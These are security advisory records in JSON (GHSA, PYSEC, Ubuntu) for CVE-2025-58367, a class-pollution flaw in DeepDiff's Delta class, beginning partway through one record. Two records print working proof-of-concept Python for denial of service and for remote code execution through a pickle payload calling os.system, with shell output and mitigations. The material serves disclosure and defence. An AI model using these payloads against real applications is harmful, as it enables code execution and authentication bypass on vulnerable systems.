\"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "GHSA-mw26-5g2v-hqw3",
  "modified": "2026-10-27T16:23:00Z",
  "published": "2025-09-03T22:25:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/deepdiff/PYSEC-2026-327.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/deepdiff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "deepdiff",
        "purl": "pkg:pypi/deepdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "8.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "5.0.0",
        "5.0.1",
        "5.0.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.2.3",
        "5.3.0",
        "5.5.0",
        "5.6.0",
        "5.7.0",
        "5.8.0",
        "5.8.1",
        "6.2.1",
        "6.2.2",
        "6.2.3",
        "6.3.0",
        "6.3.1",
        "6.4.0",
        "6.4.1",
        "6.5.0",
        "6.6.0",
        "6.6.1",
        "6.7.0",
        "6.7.1",
        "7.0.0",
        "7.0.1",
        "8.0.0",
        "8.0.1",
        "8.1.0",
        "8.1.1",
        "8.2.0",
        "8.3.0",
        "8.4.0",
        "8.4.1",
        "8.4.2",
        "8.5.0",
        "8.6.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58367",
    "GHSA-mw26-5g2v-hqw3"
  ],
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n \nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\n When it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n \nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n \nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n ```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\n However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n \nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n \nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n # ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\n class RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n # This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n $ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n \n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\n and possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "PYSEC-2026-327",
  "modified": "2026-07-01T20:22:51.022251Z",
  "published": "2026-06-29T11:50:37.443319Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/deepdiff"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mw26-5g2v-hqw3"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-deepdiff",
            "binary_version": "3.3.0-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "deepdiff",
        "purl": "pkg:deb/ubuntu/deepdiff@3.3.0-2?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.3.0-1",
        "3.3.0-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-deepdiff",
            "binary_version": "5.6.0-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "deepdiff",
        "purl": "pkg:deb/ubuntu/deepdiff@5.6.0-2?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.3.0-2",
        "3.3.0-2ubuntu1",
        "3.3.0-3",
        "5.6.0-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-deepdiff",
            "binary_version": "6.7.1-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "deepdiff",
        "purl": "pkg:deb/ubuntu/deepdiff@6.7.1-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.2.2-1",
        "6.7.1-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-deepdiff",
            "binary_version": "8.1.1-4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "deepdiff",
        "purl": "pkg:deb/ubuntu/deepdiff@8.1.1-4?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "8.1.1-3",
        "8.1.1-4"
      ]
    }
  ],
  "aliases": [],
  "details": "DeepDiff is a project focused on Deep Difference and search of any Python data. Versions 5.0.0 through 8.6.0 are vulnerable to class pollution via the Delta class constructor, and when combined with a gadget available in DeltaDiff, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization) exploitation. The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. This is fixed in version 8.6.1.",
  "id": "UBUNTU-CVE-2025-58367",
  "modified": "2026-04-27T14:25:51Z",
  "published": "2025-09-05T22:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2025-58367"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58367"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/qlustered/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2025-58367"
  ]
}